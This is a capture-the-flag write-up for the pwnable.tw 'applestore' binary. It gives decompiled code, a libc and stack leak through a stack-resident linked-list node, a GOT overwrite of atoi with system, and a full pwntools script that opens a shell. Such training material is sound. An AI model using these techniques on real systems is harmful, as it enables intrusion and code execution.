applestore - pwnable.tw
22/02/2026
pwn | pwnable.tw
Challenge Description
File type
$ file applestore
applestore: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter ./ld-2.23.so, for GNU/Linux 2.6.24, BuildID[sha1]=35f3890fc458c22154fbc1d65e9108a6c8738111, not stripped
Binary Protection
$ checksec applestore
[*] './applestore'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8046000)
Stripped: No
Background
applestoreis a shopping management system allowing user to interact with products and their shopping cart through these following operations:- List all available products
- Add a product into user's shopping cart
- Remove a product from shopping cart
- List all added products in shopping cart
- Checkout
=== Menu ===
1: Apple Store
2: Add into your shopping cart
3: Remove from your shopping cart
4: List your shopping cart
5: Checkout
6: Exit
> 1
=== Device List ===
1: iPhone 6 - $199
2: iPhone 6 Plus - $299
3: iPad Air 2 - $499
4: iPad Mini 3 - $399
5: iPod Touch - $199
> 2
Device Number> 1
You've put *iPhone 6* in your shopping cart.
Brilliant! That's an amazing idea.
> 4
Let me check your cart. ok? (y/n) > y
==== Cart ====
1: iPhone 6 - $199
>
Here are some important functions which are responsible for those opertions:
add()function to add a product into cart
unsigned int add() { const char **productNode; // [esp+1Ch] [ebp-2Ch] char buffer[22]; // [esp+26h] [ebp-22h] BYREF unsigned int canary; // [esp+3Ch] [ebp-Ch] canary = __readgsdword(0x14u); printf("Device Number> "); fflush(stdout); my_read((int)buffer, 21); switch ( atoi(buffer) ) { case 1: productNode = (const char **)create("iPhone 6", 199); insert(productNode); goto LABEL_8; case 2: productNode = (const char **)create("iPhone 6 Plus", 299); insert(productNode); goto LABEL_8; case 3: productNode = (const char **)create("iPad Air 2", 499); insert(productNode); goto LABEL_8; case 4: productNode = (const char **)create("iPad Mini 3", 399); insert(productNode); goto LABEL_8; case 5: productNode = (const char **)create("iPod Touch", 199); insert(productNode); LABEL_8: printf("You've put *%s* in your shopping cart.\n", *productNode); puts("Brilliant! That's an amazing idea."); break; default: puts("Stop doing that. Idiot!"); break; } return __readgsdword(0x14u) ^ canary; }delete()function to remove a product from cart
unsigned int delete() { int currentIndex; // [esp+10h] [ebp-38h] int currentPtr; // [esp+14h] [ebp-34h] int targetIndex; // [esp+18h] [ebp-30h] int nextPtr; // [esp+1Ch] [ebp-2Ch] int previousPtr; // [esp+20h] [ebp-28h] char buffer[22]; // [esp+26h] [ebp-22h] BYREF unsigned int canary; // [esp+3Ch] [ebp-Ch] canary = __readgsdword(0x14u); currentIndex = 1; currentPtr = dword_804B070; // (*myCart).next printf("Item Number> "); fflush(stdout); my_read((int)buffer, 21); targetIndex = atoi(buffer); while ( currentPtr ) { if ( currentIndex == targetIndex ) { nextPtr = *(_DWORD *)(currentPtr + 8); previousPtr = *(_DWORD *)(currentPtr + 12); if ( previousPtr ) *(_DWORD *)(previousPtr + 8) = nextPtr; if ( nextPtr ) *(_DWORD *)(nextPtr + 12) = previousPtr; printf("Remove %d:%s from your shopping cart.\n", currentIndex, *(const char **)currentPtr); return __readgsdword(0x14u) ^ canary; } ++currentIndex; currentPtr = *(_DWORD *)(currentPtr + 8); } return __readgsdword(0x14u) ^ canary; }cart()function to list all added products in cart
int cart() { int index; // eax int currentIndex; // [esp+18h] [ebp-30h] int totalPrice; // [esp+1Ch] [ebp-2Ch] int i; // [esp+20h] [ebp-28h] char buffer[22]; // [esp+26h] [ebp-22h] BYREF unsigned int canary; // [esp+3Ch] [ebp-Ch] canary = __readgsdword(0x14u); currentIndex = 1; totalPrice = 0; printf("Let me check your cart. ok? (y/n) > "); fflush(stdout); my_read((int)buffer, 21); if ( buffer[0] == 'y' ) { puts("==== Cart ===="); for ( i = dword_804B070; i; i = *(_DWORD *)(i + 8) ) { index = currentIndex++; printf("%d: %s - $%d\n", index, *(const char **)i, *(_DWORD *)(i + 4)); totalPrice += *(_DWORD *)(i + 4); } } return totalPrice; }checkout()function to checkout the cart
unsigned int checkout() { int totalPrice; // [esp+10h] [ebp-28h] _DWORD *productName; // [esp+18h] [ebp-20h] BYREF int price; // [esp+1Ch] [ebp-1Ch] unsigned int canary; // [esp+2Ch] [ebp-Ch] canary = __readgsdword(0x14u); totalPrice = cart(); if ( totalPrice == 7174 ) { puts("*: iPhone 8 - $1"); asprintf(&productName, "%s", "iPhone 8"); price = 1; insert((int)&productName); totalPrice = 7175; } printf("Total: $%d\n", totalPrice); puts("Want to checkout? Maybe next time!"); return __readgsdword(0x14u) ^ canary; }The special thing is that this program manages your cart through a Double Linked List. Each node is about a product added to cart. That structure can be shown by
structin C code:
struct Node {
char *productName;
int price;
struct Node *next;
struct Node *previous;
};
This
Nodestruct is controlled by 2 functions:create()function which dynamically allocates a newNode
_DWORD *__cdecl create(const char *productName, int price) { _DWORD *ptr; // [esp+1Ch] [ebp-Ch] ptr = (_DWORD *)malloc(16); ptr[1] = price; asprintf(ptr, "%s", productName); ptr[2] = 0; ptr[3] = 0; return ptr; }insert()function which inserts a Node into an existed Double Linked List
int __cdecl insert(int productNode) { int result; // eax _DWORD *i; // [esp+Ch] [ebp-4h] for ( i = &myCart; i[2]; i = (_DWORD *)i[2] ) ; i[2] = productNode; result = productNode; *(_DWORD *)(productNode + 12) = i; return result; }
Vulnerability
- In
checkout()function, if the total price is equal to 7174, a special node will be created and saved on stack. It then is inserted into the global Double Linked List. - When analyzing call other functions, they all have a
bufferarray ofcharand a segment ofbufferarray matchesproductNameproperty ofNode. Moreover,cart()function allow to user to input more than 1 character for confirmation. Therefore, we can leverage this vulnerability to leak memory address.
Exploitation
Create the special node
- I calculated that
7174 = 199 * 19 + 399 + 499 * 6. Therefore, I just need to perform add operation corresponding that result and then callcheckout()to create the special node.
Leak Libc
- To leak the base address of libc, we exploit the above vulnerbility, call
cart()function and input a confirmation string including the address of a function inGOTS. After the program list all products in cart with their name, it will print out the address of that libc function.
Leak Stack Address
- After having base address of libc, we evaluate the address of
environsymbol which points to an array of strings on stack containing environment variables. Do the same technique to leak libc, the program will print out the address of that array on stack and we leaked stack address.
Get Shell
- We call
delete()function to do arbitrary write, write the address inGOTSintoebpregister. So that, inhandler()function, we can do arbitrary write again into a function inGOTS. I choseatoi()function and replace with the address ofsystem()function and the/bin/shscript.
Exploit Code
#!/usr/bin/env python
from pwn import *
import utils
context.terminal = ['kitten', '@', 'launch', '--type=os-window']
context.log_level = "debug"
context.arch = "i386"
TARGET = "./bin/applestore"
LIBC = "./lib/libc_32.so.6"
target = process(TARGET)
target = remote("chall.pwnable.tw", 10104)
# gdb.attach(target, gdbscript="break *(delete + 115)")
exe = ELF(TARGET)
libc = ELF(LIBC)
# myCart = 0x804b068
# 7174 = 199 * 19 + 399 + 499 * 6
def add(index: int):
target.sendafter(b"> ", b"2")
target.sendafter(b"Device Number> ", str(index).encode())
def delete(index: int, data: bytes = b""):
target.sendafter(b"> ", b"3")
target.sendafter(b"Item Number> ", str(index).encode() + data)
def cart(confirmation: bytes = b"y"):
target.sendafter(b"> ", b"4")
target.sendafter(b"> ", confirmation)
def checkout():
target.sendafter(b"> ", b"5")
target.sendafter(b"> ", b"y")
# 7174 = 199 * 19 + 399 + 499 * 6
for _ in range(19):
add(1)
add(4)
for _ in range(6):
add(3)
checkout()
# Leak Libc
read_got = exe.got['read']
payload = b"y" * 2 + p32(read_got) + b"\x00" * 12
cart(payload)
target.recvuntil(b"27: ")
read_addr = u32(target.recv(4))
libc.address = read_addr - libc.symbols['read']
# Leak Stack
environ_addr = libc.symbols['environ']
payload = b"y" * 2 + p32(environ_addr) + b"\x00" * 12
cart(payload)
target.recvuntil(b"27: ")
saved_ebp_addr = u32(target.recv(4)) - 0x104
offset_22_from_atoi_got = 0x804b062
payload = p32(environ_addr) + b"\x00" * 4 + p32(offset_22_from_atoi_got) + p32(saved_ebp_addr - 8)
delete(27, payload)
system_addr = libc.symbols['system']
payload = p32(system_addr) + b"|| /bin/sh"
target.sendafter(b"> ", payload)
target.interactive()